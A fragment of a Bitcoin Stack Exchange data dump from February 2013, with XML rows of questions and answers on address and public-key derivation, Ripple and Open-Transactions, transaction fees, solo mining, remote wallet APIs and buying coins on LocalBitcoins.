LastActivityDate="2013-02-15T11:19:51.800" Title="Why is it impossible to derive public key from address?" Tags="|transactions|address|public-key|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7684" PostTypeId="2" ParentId="7683" CreationDate="2013-02-15T11:18:26.330" Score="6" Body="&lt;p&gt;The address is only 160-bits. The public key is 257-bits. So there's no way to go from an address to a public key -- information is missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The shortest hash with sufficient security is 160-bits. So Bitcoin uses a 160-bit hash as an address to make the address as short as possible. However, there is no known public key scheme that is sufficiently secure with only 160-bit public keys. So the public key couldn't be used as an account address without making the account longer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the public key is needed to verify a signature. So when you perform a transaction to claim coins sent to an account, you must provide the public key. When validating the transaction, the public key is checked to ensure it has the correct hash (matching the account) and then the signature is checked to ensure it is valid for the transaction and made with the supplied public key. From that point on, the public key corresponding to the address is publicly known.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-02-15T11:18:26.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7685" PostTypeId="2" ParentId="7683" CreationDate="2013-02-15T11:19:51.800" Score="7" Body="&lt;p&gt;The address is at its most basic just a hash of the public key. The hash functions involved (RIPEMD-160 and SHA256) are cryptographic hash functions. They are often also referred to as one-way functions, which is exactly the reason why you cannot derive the public key from the address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oneway functions provide exactly that &lt;code&gt;a = f(pk)&lt;/code&gt; so that given &lt;code&gt;a&lt;/code&gt; you cannot derive &lt;code&gt;pk&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this very reason the next transaction claiming the output sent to an address has to not only provide a signature but also the matching public key that, when processed into an address, returns the address in the output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more details see the &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&quot; rel=&quot;noreferrer&quot;&gt;address derivation process&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-02-15T11:19:51.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7686" PostTypeId="2" ParentId="7682" CreationDate="2013-02-15T11:40:28.743" Score="5" Body="&lt;p&gt;They're both trying to do the same thing in the sense that they're both trying to make it possible to use existing fiat currencies such as dollars and Euros in many of the same ways that you can use Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open transactions can provide a higher degree of anonymity than Ripple does. With OT, a transaction need only be seen by the sender, recipient, and issuer. And the issuer need not know the identity of either the sender or the recipient at all. With Ripple, transactions are always public so it provides a level of anonymity comparable to Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With OT, a specific key owned by a specific entity moderates transfers of each asset. This means the system cannot compel assets to act as they have been promised to act. In contrast, everyone can process all Ripple transactions, so an issuer cannot prevent the system from enforcing their promises.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open transactions doesn't have any support for exchanging between assets without asset holders actively making and enforcing orders. Ripple maintains order books and does path finding to find a payment path between people who use different currencies or different issuers. A Ripple offer is a comittment the system can enforce.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is key to Ripple because it forms an &quot;invisible hand&quot; that gives people what they mutually want. For example, say I get paid in dollars but prefer to hold gold. I can place an offer to buy gold. Not only can someone take that offer because they specifically want to sell gold for dollars, but they can take that offer without even realizing it if there's someone else who needs to sell gold and that helps make their payment work. For example, if gold is available cheaply for Euros and they have Euros, they can buy that gold, sell it me for dollars, and use those dollars to buy lunch without even realizing their transaction involved gold.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because the entire system state is public in Ripple, you can always see who has issued what, who holds what, and who trusts what. This allows you to easily form very efficient transactions and to make rational judgments about what to do and who to trust. However, it also means a reduced level of privacy.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-02-16T15:02:20.373" LastActivityDate="2013-02-16T15:02:20.373" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="7687" PostTypeId="2" ParentId="7676" CreationDate="2013-02-15T11:48:05.623" Score="5" Body="&lt;p&gt;Samr's vanitygen gets its initial private key from OpenSSL's random functions, which have been well vetted. Even if you specify a random seed (which is a good idea to add even more randomness) the entropy generation random libraries from the crypto is still used. It has equal randomness and strength as Bitcoin's address/key generator, with the exception that you are discarding millions of addresses that don't start with your vanity phrase.&lt;/p&gt;&#xA;" OwnerUserId="2920" LastActivityDate="2013-02-15T11:48:05.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7689" PostTypeId="2" ParentId="4430" CreationDate="2013-02-15T12:07:59.950" Score="2" Body="&lt;p&gt;Blockchain.info stores information in a database, it does not show only the information that is currently in it's Bitcoin. It is connected to many nodes, so it may see information your Bitcoin doesn't, and will store data after a normal Bitcoin client would discard it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin uses a basic rule &quot;I'm going to use the first block I receive as the current best block&quot;. The duplicate numbered orphaned block was usually broadcast too late to everybody. If the &quot;unpopular&quot; later block is somehow the one that is next built upon, there will be many requests between clients for the correct blockchain up to the new block.&lt;/p&gt;&#xA;" OwnerUserId="2922" LastActivityDate="2013-02-15T12:07:59.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7691" PostTypeId="2" ParentId="7537" CreationDate="2013-02-15T12:49:06.030" Score="6" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Transaction_fees&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;A fee may not be required at all, if the priority of the transaction is high enough. Generally 1 BTC, one day old, is enough age and balance that you can send without a fee.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If any of the individual payments are below 0.01 BTC, a minimum fee will always be required.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The minimum fee, when required, is 0.0005 BTC per 1000 bytes of total transaction.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The contribution of each input and each output to the total size is somewhat consistent, it only varies largely if there are compressed keys (standard for newly generated addresses on a recent client version), some examples:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;A) 1 input/1 output (sending exact balance of one input) = 191 bytes&#xA;B) 1 input/2 output (sending money from single input with some change) = 258 bytes&#xA;C) 2 input/1 output (consolidating two address balances to one output) = 404 bytes&#xA;D) 12 input/2 output (sending from many inputs with change) = 1851 bytes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way to empty a wallet is to attempt to spend the entire balance with the transaction you desire, attempt to send it, and look at the &quot;exceeds your balance after a 0.0xxx fee is included&quot; message. Subtract the fee from the amount you are sending, and you should now be sending the entire wallet balance including the fee.&lt;/p&gt;&#xA;" OwnerUserId="2925" LastActivityDate="2013-02-15T12:49:06.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7692" PostTypeId="2" ParentId="7678" CreationDate="2013-02-15T12:49:28.220" Score="3" Body="&lt;p&gt;You should first consult a lawyer in your country and discuss such topics as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Money laundering laws&lt;/li&gt;&#xA;&lt;li&gt;Whether Bitcoins are considered a currency, commodity or none of the above&lt;/li&gt;&#xA;&lt;li&gt;Regulations considering money exchanges&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In relationship to the law in your country. It would also be good to asking a legal representative of the government for an official statement in writing on trading Bitcoin and their legal status. This way you would be able to refer back to that decision in case any legal doubts come your way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having done that, the procedure would probably be similar to starting any business in India, with a possible addition of any special laws that you'd have to abide by when running an online money exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should state however, that I am not a legal expert nor do I have any experience with running a business in India. As stated above, consult a lawyer before taking actions.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-02-15T12:49:28.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7693" PostTypeId="2" ParentId="7677" CreationDate="2013-02-15T12:51:14.710" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://blockchain.info/&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/&lt;/a&gt; , 'nuff said.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They feature live events of transactions appearing in the network, as well as blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than that, there is this - &lt;a href=&quot;http://bitcoinmonitor.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinmonitor.com/&lt;/a&gt; . It shows such events graphically, along with currency trades.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-02-15T12:51:14.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7694" PostTypeId="2" ParentId="7678" CreationDate="2013-02-15T12:57:06.530" Score="1" Body="&lt;p&gt;If you're a developer you could start with some open source exchange software. Bitcoin Central provided this: &lt;a href=&quot;https://github.com/davout/bitcoin-central&quot; rel=&quot;nofollow&quot;&gt;https://github.com/davout/bitcoin-central&lt;/a&gt;. It might be a bit out of date now, but should be enough to get you or another developer off the ground.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could just set up a website that reads the latest BTC/INR price from, say, &lt;a href=&quot;http://coinmill.com/BTC_INR.html&quot; rel=&quot;nofollow&quot;&gt;Coin Mill&lt;/a&gt; and then provide a business account that allows people to deposit sums. You'd need to ensure that their deposit contained a reference number and was tied to their originating bank. After the deposit clears (so is irreversible) you can release the bitcoins you had on hold for them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not a lawyer, nor familiar with the legal situation for money handling in India. You will need a local lawyer to advise you with taking business payments through a bank. However, most countries require you to keep Know Your Customer (KYC) records of anyone who you deal with in fiat currency (like INR). This is for Anti-Money Laundering (AML) treaties that many countries have signed up for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;India would greatly benefit from having low-cost/friction access to Bitcoin so you might be able to approach the Bitcoin Foundation for assistance.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2013-02-15T12:57:06.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7695" PostTypeId="2" ParentId="7484" CreationDate="2013-02-15T12:57:45.377" Score="-1" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=6019.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=6019.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Free analysis and charting software, registration required.&lt;/p&gt;&#xA;" OwnerUserId="2926" LastActivityDate="2013-02-15T12:57:45.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7696" PostTypeId="1" CreationDate="2013-02-15T14:50:18.827" Score="1" ViewCount="168" Body="&lt;p&gt;So, I'm a total noob to Bitcoin and have just finished installing it and have looked under all of the settings and cannot find the address. This is a little concerning. If I am missing something PLEASE correct/help me. I have seen in older versions that the address is right there on the GUI but I still can't find mine. I'm on version 0.7.2 if that helps.&lt;/p&gt;&#xA;" OwnerUserId="2927" LastActivityDate="2018-01-12T22:09:55.553" Title="Bitcoin Address can't be found of client?" Tags="|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7697" PostTypeId="1" AcceptedAnswerId="11590" CreationDate="2013-02-15T16:31:43.063" Score="8" ViewCount="3418" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2333/is-there-a-remote-bitcoin-api-that-doesnt-require-anything-to-be-stored-locally&quot;&gt;This question&lt;/a&gt; asks about how to work with bitcoin via an API without requiring a local blockchain. &lt;a href=&quot;https://bitcoin.stackexchange.com/a/3991/78&quot;&gt;The only answer&lt;/a&gt; is about blockchain.info's JSON API, but it appears that unlike the web version of blockchain.info, the JSON API requires the account passwords to be sent to the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another remote API that allows one to perform various bitcoin operations without compromising security - without sending private keys anywhere, but rather signing transactions locally? The API should not require any downloads - SPV does not fall under this category - but should just be a remote API to the bitcoin network that doesn't require any state / bootstrap from its client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I recall correctly then Stratum was supposed to be this API. Did it ever take off?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2018-09-25T06:31:59.047" Title="Is there a remote, trustless bitcoin API that doesn't require anything (blockchain/SPV headers) to be stored locally?" Tags="|development|api|" AnswerCount="5" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7699" PostTypeId="2" ParentId="7697" CreationDate="2013-02-15T17:15:55.397" Score="0" Body="&lt;p&gt;As a client that doesn't download the whole blockchain, you must trust the bitcoin network more than one that does. That being said, there is only one question you absolutely need the blockchain to answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;How much money do I have?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Such clients are called &lt;a href=&quot;https://en.bitcoin.it/wiki/Thin_Client_Security#Simplified_Payment_Verification_.28SPV.29&quot; rel=&quot;nofollow&quot;&gt;SPV&lt;/a&gt;, which was a method described in the original bitcoin whitepaper. &lt;a href=&quot;http://electrum.org/&quot; rel=&quot;nofollow&quot;&gt;Electrum&lt;/a&gt; is one such client. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't have an API, but it is &lt;a href=&quot;https://github.com/spesmilo/electrum&quot; rel=&quot;nofollow&quot;&gt;open source&lt;/a&gt;, so, if you want, you could write a python wrapper for it.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-02-15T17:15:55.397" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7700" PostTypeId="2" ParentId="7696" CreationDate="2013-02-15T17:18:55.947" Score="1" Body="&lt;p&gt;Under the tab 'Receive Coins', click 'New Address'&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-02-15T17:18:55.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7701" PostTypeId="1" CreationDate="2013-02-15T17:29:49.863" Score="2" ViewCount="67" Body="&lt;p&gt;How can I import wallet.dat from official BitCoin client into Electrum?&lt;/p&gt;&#xA;" OwnerUserId="2930" LastActivityDate="2013-02-15T17:29:49.863" Title="How can I import wallet.dat from offical Bitcoin client into Electrum?" Tags="|electrum|" AnswerCount="0" CommentCount="0" ClosedDate="2013-02-15T22:27:48.577" ContentLicense="CC BY-SA 3.0" />
  <row Id="7702" PostTypeId="1" CreationDate="2013-02-15T18:18:37.680" Score="5" ViewCount="13180" Body="&lt;p&gt;So I recently have gotten into bitcoins and bitcoin mining am enthralled with the idea of the whole system. I even went out to buy a POS Evga 610 GT to start mining the day I found out about it. (currently at a blazing fast 12.7Mh/s)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using electrum, guiminer, under slush's pool and have made something like 3cents (.006 BTC ?) in the past week. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I plan to, here in the near future, build my PC/mining rig and wanted to start my solo mining career. I am happy to be in a pool but I love the idea of the lottery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I was wondering if someone could give me a quick run down of the options for solo mining on a windows machine. Preferably with GUI's such as guiminer and without GUI's. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found this guide&#xA;&lt;a href=&quot;http://www.newslobster.com/random/how-to-get-started-using-your-gpu-to-mine-for-bitcoins-on-windows&quot; rel=&quot;noreferrer&quot;&gt;http://www.newslobster.com/random/how-to-get-started-using-your-gpu-to-mine-for-bitcoins-on-windows&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which tells you how to get it running but not the methodology and logic behind it. Could someone explain the steps I would need to take pro-grammatically to write my own miner?&#xA;Such as&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create transaction&lt;/li&gt;&#xA;&lt;li&gt;Build a block object&lt;/li&gt;&#xA;&lt;li&gt;Hash till good hash found or someone else says they found a hash&lt;/li&gt;&#xA;&lt;li&gt;Repeat&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But obviously more indepth. Aslo please forgive me for my current lack of knowledge, still learning!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;** I have a good knowledge of the BTC system, its logic, and how it works abstractly but have not gotten into how nodes communicate and keep the network running. Which is what I would like to know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is me learning the calculation process abstractly&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=143329&quot; rel=&quot;noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=143329&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2931" LastActivityDate="2013-03-18T06:04:11.607" Title="Overview of solo mining with no GUI's and with GUI's, short explanation." Tags="|solo-mining|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7703" PostTypeId="2" ParentId="7702" CreationDate="2013-02-15T21:25:59.823" Score="1" Body="&lt;p&gt;Mining is done by individuals and by pools in conjunction with the official Bitcoin wallet software, there is no need to write your own software to talk to the Bitcoin network. The Bitcoin software has an interface (RPC) to request work (the information to be hashed until you find a solution) and a method for returning your answer, which will publish the newly-found block to other nodes if you find a block solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pools use software such as pushpoold as an interface between Bitcoin, their website, and their miner members, but you only need Bitcoin and mining software to solo mine. The mining software requests the information to work on from Bitcoin, does the computing (with the assistance of hardware), and sends back any successful result. Examples of mining software are guiminer, cgminer, phoenix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solo mining is very much like a lottery - with a hashrate that low it would take you 20 years of mining at the current difficulty to have even a 50% chance of finding a block.&lt;/p&gt;&#xA;" OwnerUserId="2932" LastActivityDate="2013-02-15T21:25:59.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7704" PostTypeId="2" ParentId="4430" CreationDate="2013-02-15T21:37:36.603" Score="0" Body="&lt;p&gt;A block is only relayed when it is part of the (new) best chain. If a second block at the same height as current best tip is received, it is not considered the new best, and thus not relayed. The reason for this is simple: it doesn't help for achieving consensus (=getting the world to agree on which block at a given height is the one considered correct). Any peer receiving the second block at a given height would already have the first one as well (since that got relayed too), and wouldn't consider it valid either.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-02-15T21:37:36.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7706" PostTypeId="1" CreationDate="2013-02-16T06:03:26.080" Score="1" ViewCount="132" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Beverly Hills Hotel participates in the Ripple network and issues its USD-denominated IOUs which are redeemable for hotel stays.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Beverly Hills Performance Car Rentals participates in Ripple network and issues its USD-denominated IOUs redeemable for car rentals.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Both the hotel and the car rental shop have &lt;em&gt;unrented&lt;/em&gt; inventory. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Daily room rental rate in USD is roughly the same as the daily rate to rent a Ferrari.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Question: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can the hotel owner and the owner of the car rental business exchange their respective IOUs through &lt;em&gt;either&lt;/em&gt; a mutually trusted gateway/nexus &lt;em&gt;or&lt;/em&gt; directly (assuming they trust each other) &lt;em&gt;or&lt;/em&gt; through a web of trust to allow a room to be rented out for a day of stay and a Ferrari rented out for a day of driving ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bonus question: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this the real purpose of the &quot;issuer&quot; field in the current Ripple user interface, i.e. to allow any participant to issue IOUs denominated in any currency of their choice ?&lt;/p&gt;&#xA;" OwnerUserId="1380" LastActivityDate="2013-02-16T13:04:01.567" Title="Can Ripple facilitate business-to-business barter transactions?" Tags="|ripple|peers|business|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7707" PostTypeId="1" AcceptedAnswerId="7795" CreationDate="2013-02-16T06:55:32.937" Score="5" ViewCount="652" Body="&lt;p&gt;Any Ripple gateway that establishes a solid reputation will be tempted to switch to fractional reserve issuance of its own IOUs to increase leverage (which is exactly what the existing comercial banks do).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can Ripple gateways' accounting be &lt;em&gt;fully transparent&lt;/em&gt; since presumably all their transactions are stored in the distributed public ledger ? (This is similar to how SatoshiDice operates currently). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However it's not clear if external deposits and distributions can be represented in the ledger.&lt;/p&gt;&#xA;" OwnerUserId="1380" LastEditorUserId="1380" LastEditDate="2013-02-16T07:14:10.880" LastActivityDate="2013-02-20T00:01:57.623" Title="Can Ripple gateways operate as fully transparent fractional reserve banks?" Tags="|ripple|banks|accounting|fractional-reserve|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7708" PostTypeId="1" AcceptedAnswerId="11913" CreationDate="2013-02-16T07:11:27.430" Score="5" ViewCount="4755" Body="&lt;p&gt;Blockchain.info has a &lt;a href=&quot;http://blockchain.info/pushtx&quot; rel=&quot;noreferrer&quot;&gt;PushTX API&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I create &amp;amp; sign a raw transaction in Java for use in this API?&#xA;Should I use bitcoinj?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any code samples?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2017-07-16T21:43:34.573" Title="How do I create an offline transaction in java to broadcast via blockchain.info?" Tags="|transactions|bitcoinj|java|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7709" PostTypeId="2" ParentId="7697" CreationDate="2013-02-16T07:14:52.137" Score="2" Body="&lt;p&gt;There are quite a few answers in the &lt;a href=&quot;https://bitcointalk.org/index.php?topic=144347.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcointalk thread&lt;/a&gt;. This is what I consider to be the best option:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Using blockchain.info for queries&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7708/how-do-i-create-an-offline-transaction-in-java-to-broadcast-via-blockchain-info&quot;&gt;Using bitcoinj to sign transactions&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Using blockchain.info broadcast API to broadcast transactions&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/blockchain/My-Wallet-Android/blob/master/src/piuk/MyRemoteWallet.java&quot; rel=&quot;nofollow noreferrer&quot;&gt;This class&lt;/a&gt; from the the android version of My Wallet is supposed to implement this scheme.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2013-02-16T19:02:30.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7710" PostTypeId="1" AcceptedAnswerId="7829" CreationDate="2013-02-16T07:51:21.610" Score="6" ViewCount="304" Body="&lt;p&gt;Bigger and better reputations might beget more business and so on. What can possibly prevent emergence of a small oligopoly of transnational Ripple gateways ?  &lt;/p&gt;&#xA;" OwnerUserId="1380" LastActivityDate="2013-02-21T10:56:51.807" Title="Is there any chance of the Ripple gateway market NOT consolidating into a small transnational oligopoly?" Tags="|ripple|ripple-gateways|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7711" PostTypeId="1" AcceptedAnswerId="7718" CreationDate="2013-02-16T08:49:18.510" Score="6" ViewCount="3102" Body="&lt;p&gt;I am going to buy bitcoins for the first time from a seller on LocalBitcoins. He says that funds can be transferred via internet banking. He seems to have good feedback, 9+ reviews but I am kind of nervous. What exact steps should be followed for a smooth transaction?&#xA;My plan is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Send him my wallet address, and then wait for him to transfer the bitcoins.&lt;/li&gt;&#xA;&lt;li&gt;Upon successful transaction, I send him the required amount through an online bank transaction.&lt;/li&gt;&#xA;&lt;li&gt;??&lt;/li&gt;&#xA;&lt;li&gt;Profit&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I hope I am doing this right. Please advise.&lt;/p&gt;&#xA;" OwnerUserId="2916" LastEditorUserId="549" LastEditDate="2013-12-13T14:23:54.290" LastActivityDate="2013-12-13T14:23:54.290" Title="I am going to buy bitcoins for the first time from a seller on LocalBitcoins. Please guide me." Tags="|buy-bitcoins|localbitcoins|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7712" PostTypeId="2" ParentId="7682" CreationDate="2013-02-16T09:44:09.597" Score="7" Body="&lt;p&gt;I haven't seen the Ripple code so I can't comment on the latest endeavor, but Ripple as a concept (by Ryan Fugger FYI) is the combination of 2 mechanisms:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The ability to extend a credit line to any of your friends, in any currency.&lt;/li&gt;&#xA;&lt;li&gt;The ability to make payments that hop across these credit lines, P2P, like a &quot;Six degrees of separation&quot; from sender to recipient.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I've always felt like this concept was important because it eliminates exchanges (such as MtGox) as a bottleneck, since it enables people to access the system, and move funds in and out, directly through their own friends.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the current Ripple venture departs from that in any way, perhaps one of the Ripple guys can post a comment giving further detail. But that's my understanding of it.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Open-Transactions, on the other hand, is a software library for financial cryptography, including a prototype server and a high-level client API (available in most languages.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The OT server is able to process all sorts of transactions... issuers can issue currencies onto any OT server (or preferably onto many OT servers.) Then users can open accounts in these currencies, and send payments to each other using a variety of financial instruments such as account transfers, cheques, and untraceable digital cash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open-Transactions also supports markets (for offers and trading, like you might see on MtGox or other exchanges) as well as basket currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open-Transactions also features a full client-side scripting engine, so you can create your own financial scripts using the OT API. There are also scriptable contracts (&quot;Smart Contracts&quot;), which can be signed by multiple parties and then activated on an OT server for processing. OT comes with a few sample smart contracts, such as Escrow, and Two-Way Trade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, it wouldn't be too hard to build Ripple into OT, I already worked it out in my notes here: &lt;a href=&quot;https://github.com/FellowTraveler/Open-Transactions/wiki/Markets&quot; rel=&quot;nofollow&quot;&gt;https://github.com/FellowTraveler/Open-Transactions/wiki/Markets&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Who knows if/when I'll ever get around to adding that, however.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*edit: article describing the trust differences between OT and Ripple: &lt;a href=&quot;http://opentransactions.org/forum/index.php?topic=3759.0&quot; rel=&quot;nofollow&quot;&gt;http://opentransactions.org/forum/index.php?topic=3759.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="309" LastEditorUserId="309" LastEditDate="2014-01-21T10:56:49.183" LastActivityDate="2014-01-21T10:56:49.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7713" PostTypeId="2" ParentId="7567" CreationDate="2013-02-16T10:55:31.253" Score="1" Body="&lt;p&gt;I looked at the bitcoin gateway sample code on github, and its README said that to use it I need to set my ripple account up to forward what seem to amount to customer or routing numbers, basically so the app can match up incoming ripples or bitcoins with each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its instructions how to do that were to send a command to a ripple server;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the clincher, the reason I would want to fire up a ripple server of my own:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THE COMMAND SHOWN INCLUDES SECRET KEY.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, in order to set my ripple acccount up to be able to have a web app convert between bitcoins and ripples, sending out bitcoins from my bitcoind on receipt of payments on the ripple network or sending out payments on the ripple network on receipt of bitcoins by my bitcoind, I AM SUPPOSED TO PASS MY SECRET TO A SERVER.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I do not run that server myself, my so called secret would no longer be secret...&lt;/p&gt;&#xA;" OwnerUserId="2935" LastEditorUserId="196" LastEditDate="2013-02-16T15:09:56.843" LastActivityDate="2013-02-16T15:09:56.843" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
